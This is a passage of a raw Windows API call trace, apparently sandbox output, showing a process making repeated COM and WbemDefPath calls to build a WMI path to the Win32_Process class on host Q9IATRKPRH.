This=0x1bef80c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0061.773] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef80c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119abe0) returned 0x0 [0061.773] WbemDefPath:IUnknown:Release (This=0x1bef80c0) returned 0x0 [0061.773] WbemDefPath:IUnknown:QueryInterface (in: This=0x119abe0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119abe0) returned 0x0 [0061.773] WbemDefPath:IUnknown:QueryInterface (in: This=0x119abe0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0061.774] WbemDefPath:IUnknown:AddRef (This=0x119abe0) returned 0x3 [0061.774] WbemDefPath:IUnknown:QueryInterface (in: This=0x119abe0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0061.774] WbemDefPath:IUnknown:QueryInterface (in: This=0x119abe0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0061.774] WbemDefPath:IUnknown:QueryInterface (in: This=0x119abe0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bef8140) returned 0x0 [0061.774] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8140, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0061.774] WbemDefPath:IUnknown:Release (This=0x1bef8140) returned 0x3 [0061.774] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0061.774] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0061.774] WbemDefPath:IUnknown:QueryInterface (in: This=0x119abe0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0061.774] WbemDefPath:IUnknown:Release (This=0x119abe0) returned 0x2 [0061.774] WbemDefPath:IUnknown:Release (This=0x119abe0) returned 0x1 [0061.774] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0061.774] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0061.774] WbemDefPath:IUnknown:QueryInterface (in: This=0x119abe0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119abe0) returned 0x0 [0061.774] WbemDefPath:IUnknown:AddRef (This=0x119abe0) returned 0x3 [0061.774] WbemDefPath:IUnknown:Release (This=0x119abe0) returned 0x2 [0061.774] WbemDefPath:IWbemPath:SetText (This=0x119abe0, uMode=0x4, pszPath="") returned 0x0 [0061.774] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119abe0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0061.774] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119ab20, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0061.774] WbemDefPath:IWbemPath:GetClassName (in: This=0x119abe0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0061.774] WbemDefPath:IWbemPath:GetServer (in: This=0x119abe0, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0061.774] WbemDefPath:IWbemPath:SetServer (This=0x119abe0, Name="Q9IATRKPRH") returned 0x0 [0061.775] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0061.775] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0061.775] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0061.775] IUnknown:Release (This=0x111f638) returned 0x1 [0061.776] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bef8160) returned 0x0 [0061.777] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef8160, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0061.777] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef8160, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119aca0) returned 0x0 [0061.777] WbemDefPath:IUnknown:Release (This=0x1bef8160) returned 0x0 [0061.777] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aca0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119aca0) returned 0x0 [0061.777] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aca0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0061.777] WbemDefPath:IUnknown:AddRef (This=0x119aca0) returned 0x3 [0061.777] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aca0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0061.777] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aca0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0061.777] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aca0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bef81a0) returned 0x0 [0061.777] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef81a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0061.777] WbemDefPath:IUnknown:Release (This=0x1bef81a0) returned 0x3 [0061.777] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0061.777] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0061.777] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aca0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0061.777] WbemDefPath:IUnknown:Release (This=0x119aca0) returned 0x2 [0061.777] WbemDefPath:IUnknown:Release (This=0x119aca0) returned 0x1 [0061.777] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0061.777] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0061.778] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aca0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119aca0) returned 0x0 [0061.778] WbemDefPath:IUnknown:AddRef (This=0x119aca0) returned 0x3 [0061.778] WbemDefPath:IUnknown:Release (This=0x119aca0) returned 0x2 [0061.778] WbemDefPath:IWbemPath:SetText (This=0x119aca0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0061.778] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119abe0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0061.778] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119aca0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0061.778] WbemDefPath:IWbemPath:GetText (in: This=0x119aca0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0061.778] WbemDefPath:IWbemPath:GetText (in: This=0x119aca0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0061.778] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x119abe0) returned 0x0 [0061.778] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119aca0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0061.778] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119aca0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0061.778] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119aca0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0061.778] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119abe0, uIndex=0x0, pszName="ROOT") returned 0x0 [0061.778] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119aca0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0061.778] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119aca0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0061.778] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119abe0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0061.778] WbemDefPath:IWbemPath:GetClassName (in: This=0x119abe0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0061.778] WbemDefPath:IWbemPath:SetClassName (This=0x119abe0, Name="Win32_Process") returned 0x0 [0061.778] WbemDefPath:IWbemPath:GetInfo (in: This=0x119abe0, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0061.778] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119abe0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0061.778] WbemDefPath:IWbemPath:GetText (in: This=0x119abe0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0061.778] WbemDefPath:IWbemPath:GetText (in: This=0x119abe0, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0061.778] WbemDefPath:IWbemPath:GetInfo (in: This=0x119abe0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0061.778] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119abe0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0061.778] WbemDefPath:IWbemPath:GetText (in: This=0x119abe0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0061.779] WbemDefPath:IWbemPath:GetText (in: This=0x119abe0, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0061.779] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a9a0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0061.779] WbemDefPath:IWbemPath:GetText (in: This=0x119a9a0, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0061.779] WbemDefPath:IWbemPath:GetText (in: This=0x119a9a0, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0061.779] WbemDefPath:IWbemPath:GetText (in: This=0x119abe0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0061.779] WbemDefPath:IWbemPath:GetText (in: This=0x119abe0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0061.779] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0061.779] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0061.779] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0061.779] IUnknown:Release (This=0x111f638) returned 0x1 [0061.781] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1bef8400) returned 0x0 [0061.781] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef8400, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0061.781] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef8400, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x119ad60) returned 0x0 [0061.781] WbemDefPath:IUnknown:Release (This=0x1bef8400) returned 0x0 [0061.781] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ad60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x119ad60) returned 0x0 [0061.781] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ad60, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0061.782] WbemDefPath:IUnknown:AddRef (This=0x119ad60) returned 0x3 [0061.782] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ad60, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0061.782] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ad60, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0061.782] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ad60, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1bef8440) returned 0x0 [0061.782] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8440, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0061.782] WbemDefPath:IUnknown:Release (This=0x1bef8440) returned 0x3 [0061.782] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0061.782] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0061.782] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ad60, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0061.782] WbemDefPath:IUnknown:Release (This=0x119ad60) returned 0x2 [0061.782] WbemDefPath:IUnknown:Release (This=0x119ad60) returned 0x1 [0061.782] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0061.782] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0061.782] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ad60, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x119ad60) returned 0x0 [0061.782] WbemDefPath:IUnknown:AddRef (This=0x119ad60) returned 0x3 [0061.782] WbemDefPath:IUnknown:Release (This=0x119ad60) returned 0x2 [0061.782] WbemDefPath:IWbemPath:SetText (This=0x119ad60, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0061.782] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a9a0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0061.782] WbemDefPath:IWbemPath:GetText (in: This=0x119a9a0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0061.783] WbemDefPath:IWbemPath:GetText (in: This=0x119a9a0, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0061.783] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0061.783] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0061.783] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0061.783] IUnknown:Release (This=0x111f638) returned 0x1 [0061.791] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bef8480) returned 0x0 [0061.792] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef8480, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0061.792] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef8480, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119ae20) returned 0x0 [0061.792] WbemDefPath:IUnknown:Release (This=0x1bef8480) returned 0x0 [0061.792] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ae20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119ae20) returned 0x0 [0061.792] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ae20, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0061.792] WbemDefPath:IUnknown:AddRef (This=0x119ae20) returned 0x3 [0061.792] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ae20, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, 